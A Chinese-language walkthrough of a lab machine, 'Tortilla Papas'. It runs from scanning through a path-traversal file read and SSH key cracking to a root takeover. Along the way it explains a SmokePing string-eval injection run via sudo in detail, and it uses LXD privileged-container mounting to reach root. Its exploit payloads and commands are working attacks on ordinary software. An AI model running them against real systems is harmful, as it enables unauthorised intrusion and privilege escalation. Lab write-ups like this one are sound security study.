Tortilla Papas

image

信息搜集

主机发现

1
2
3
4
5
6
7
8
9
10
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.100.18
Starting arp-scan 1.10.0 with 512 hosts (https://github.com/royhills/arp-scan)
......
192.168.100.37 08:00:27:b6:d0:52 PCS Systemtechnik GmbH
......

30 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 512 hosts scanned in 2.899 seconds (176.61 hosts/sec). 29 responded

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# rustscan -a 192.168.100.37 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.100.37:22
Open 192.168.100.37:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.37
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-15 15:05 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
Initiating ARP Ping Scan at 15:05
Scanning 192.168.100.37 [1 port]
Completed ARP Ping Scan at 15:05, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:05
Completed Parallel DNS resolution of 1 host. at 15:05, 1.50s elapsed
DNS resolution of 1 IPs took 1.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 2, CN: 0]
Initiating SYN Stealth Scan at 15:05
Scanning 192.168.100.37 [2 ports]
Discovered open port 80/tcp on 192.168.100.37
Discovered open port 22/tcp on 192.168.100.37
Completed SYN Stealth Scan at 15:05, 0.02s elapsed (2 total ports)
Initiating Service scan at 15:05
Scanning 2 services on 192.168.100.37
Completed Service scan at 15:05, 6.03s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.100.37
NSE: Script scanning 192.168.100.37.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:05
Completed NSE at 15:05, 0.23s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:05
Completed NSE at 15:05, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
Nmap scan report for 192.168.100.37
Host is up, received arp-response (0.00054s latency).
Scanned at 2026-07-15 15:05:46 CST for 8s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGjZjT9uVInycGr+L2uWFk2OHfIU6ziqLqjc31ns1WmQ6Hr6uDnP8LT23hig2aIXwb3uRT1F7Q1q5YSr4zozu64=
| 256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINl5E2qTz+BE4drC1MXdiCyaKavO+3ur4RldEaIe41fC
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
|_http-title: Tortilla Papas
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
MAC Address: 08:00:27:B6:D0:52 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=7/15%OT=22%CT=%CU=41762%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A573152%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=106%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 30.309 days (since Mon Jun 15 07:41:05 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.54 ms 192.168.100.37

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.35 seconds
Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
  • 22 ssh
  • 80 http

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# gobuster dir -u http://192.168.100.37/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -x php,txt,html,back,cgi,jpg,json,md -b 401,403,404,502
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.100.37/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Negative Status codes: 401,403,404,502
[+] User Agent: gobuster/3.8.2
[+] Extensions: jpg,json,md,php,txt,html,back,cgi
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images (Status: 301) [Size: 317] [--> http://192.168.100.37/images/]
js (Status: 301) [Size: 313] [--> http://192.168.100.37/js/]
index.html (Status: 200) [Size: 26594]
css (Status: 301) [Size: 314] [--> http://192.168.100.37/css/]
javascript (Status: 301) [Size: 321] [--> http://192.168.100.37/javascript/]
. (Status: 200) [Size: 26594]
agua.php (Status: 200) [Size: 26594]
hola.php (Status: 200) [Size: 56]
Progress: 971838 / 971838 (100.00%)
===============================================================
Finished
===============================================================

fuzzing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
──(root㉿Eecho)-[/usr/share/seclists/Discovery/Web-Content]
└─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt -u "http://192.168.100.37/agua.php/?FUZZ=....//....//....//....//....//....//etc/passwd" --hc 404 --hh 26574
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
/usr/local/lib/python3.13/dist-packages/requests-2.27.1-py3.13.egg/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (2.6.3) or chardet (5.2.0)/charset_normalizer (3.4.4) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.100.37/agua.php/?FUZZ=....//....//....//....//....//....//etc/passwd
Total requests: 1273832

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000758: 200 507 L 1588 W 27943 Ch "file"

image

有两个用户concebolla和sincebolla

尝试读取私钥,但是发现它并不在用户的家目录下而是/opt目录下

image

私钥存在passphrase保护,破解密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# ssh2john id_rsa > rsa_hash.txt
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt rsa_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
honda1 (id_rsa)
1g 0:00:00:14 DONE (2026-07-15 18:56) 0.07037g/s 256.7p/s 256.7c/s 256.7C/s girls..654123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

ssh登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# ssh sincebolla@192.168.100.37 -i id_rsa
Enter passphrase for key 'id_rsa':
Linux tortillapapas 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 18 12:40:58 2024 from 192.168.0.104
sincebolla@tortillapapas:~$ id
uid=1001(sincebolla) gid=1001(sincebolla) grupos=1001(sincebolla),100(users)
sincebolla@tortillapapas:~$

提权

sincebolla -> concebolla

1
2
3
4
5
6
sincebolla@tortillapapas:~$ sudo -l
Matching Defaults entries for sincebolla on tortillapapas:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User sincebolla may run the following commands on tortillapapas:
(concebolla) NOPASSWD: /usr/sbin/smokeping

concebolla可以无密码以root执行/usr/sbin/smokeping

https://github.com/oetiker/SmokePing

下载源码分析

漏洞根源

漏洞位于 Smokeping.pm#L4555 :

1
eval "require $class";

这行代码使用 字符串 eval ,将用户输入直接插入 Perl 代码字符串中执行。

为什么字符串 eval 危险

Perl 中有两种 eval :

1
2
3
4
5
# 块 eval - 安全,只捕获运行时错误
eval { require $class };

# 字符串 eval - 危险,执行任意 Perl 代码
eval "require $class";

字符串 eval 会将整个字符串当作 Perl 代码解析和执行,任何插入其中的变量都会被当作代码的一部分。

攻击路径

第一步:参数传入
Smokeping.pm#L4661 :

1
GetOptions(\%opt, 'version', 'email', 'man:s', ...)

man:s 中的 :s 表示接受可选字符串参数。用户输入直接存入 $opt{man} , 无任何过滤 。

第二步:条件分支
Smokeping.pm#L4667-L4673 :

1
2
3
4
5
6
7
8
9
if(exists $opt{man}) {
if ($opt{man}) {
if ($opt{man} eq 'smokeping_config') {
pod2man(makepod(get_parser));
} else {
probedoc($opt{man}, 'do_man'); # 用户输入直接传入
}
}
}

只有当输入 精确等于 smokeping_config 时才走安全路径,其他任何值都进入 probedoc() 。

第三步:probedoc 传递
Smokeping.pm#L4573-L4578 :

1
2
3
4
5
6
7
8
9
10
sub probedoc {
my $class = shift; # 用户输入
my $do_man = shift;
maybe_require($class); # 直接传递,无校验
if ($do_man) {
pod2man($class->pod);
} else {
print $class->pod;
}
}

$class 应该是合法的 Perl 模块名(如 Smokeping::probes::DNS ),但代码没有验证。
第四步:maybe_require 中的注入
Smokeping.pm#L4549-L4555 :

1
2
3
4
5
my $file = $class;
$file =~ s,::,/,g;
$file .= ".pm";

eval "require $class"; # ← 注入点

$file 的处理(替换 :: 为 / ,加 .pm )只是为了后续的 %INC 操作,不影响注入。

eval 的执行过程

当 $class = system(‘/bin/bash -p’) 时:

1
eval "require system('/bin/bash -p')";

Perl 解析器将其视为:

1
require(system('/bin/bash -p'))

为什么 require 不阻止执行

require 的语法是 require EXPR ,其中 EXPR 是一个 表达式 。Perl 会先完整求值这个表达式,然后才用结果去查找模块。命令在表达式求值阶段就已经执行了, require 拿到的只是返回值。

后续错误处理无效

Smokeping.pm#L4557-L4567 :

1
2
3
4
while ($@ =~ /Can't locate (\S+)\.pm/) {
# 尝试伪造缺失模块...
}
die "require $class failed: $@" if $@;

这段错误处理逻辑只在 require 失败时触发,但此时命令已经执行完毕。即使 die 终止程序,攻击代码的效果已经产生。

1
2
3
4
sincebolla@tortillapapas:~$ sudo -u concebolla /usr/sbin/smokeping --man="system('/bin/bash -p')"
concebolla@tortillapapas:/home/sincebolla$ id
uid=1000(concebolla) gid=1000(concebolla) grupos=1000(concebolla),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1002(lxd)
concebolla@tortillapapas:/home/sincebolla$

concebolla -> root

1
2
concebolla@tortillapapas:~/.config/lxc$ id
uid=1000(concebolla) gid=1000(concebolla) grupos=1000(concebolla),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1002(lxd)

concebolla属于lxd(LXD 是一个现代化、安全且功能强大的系统容器和虚拟机管理器。)组

gtfbins上有方案https://gtfobins.org/gtfobins/lxd/

1
2
3
4
lxc init ubuntu:16.04 x -c security.privileged=true
lxc config device add x x disk source=/ path=/mnt/ recursive=true
lxc start x
lxc exec x /bin/sh
  • lxc init ubuntu:16.04 x​:基于 ubuntu:16.04​ 镜像初始化一个名为 x 的新容器。

  • -c security.privileged=true​:这是提权的关键。默认情况下,LXD 容器是“无特权的”(Unprivileged),容器内的 root​ 用户在宿主机上其实只是一个普通用户。但加上这个参数后,容器被配置为特权容器(Privileged Container)。

  • lxc config device add x x disk​:给容器 x​ 添加一个名为 x 的磁盘设备。

  • source=/ ​:指定数据源为​宿主机的根目录(整个操作系统)。

  • path=/mnt/ ​:将上述数据源挂载到容器内部的 /mnt/ 目录下。

  • recursive=true​:递归挂载,确保所有子目录和挂载点(如 /proc​、/sys​、/dev 等)在容器内都可见。

1
2
cat /mnt/root/root.txt
cat /mnt/home/sincebolla/user.txt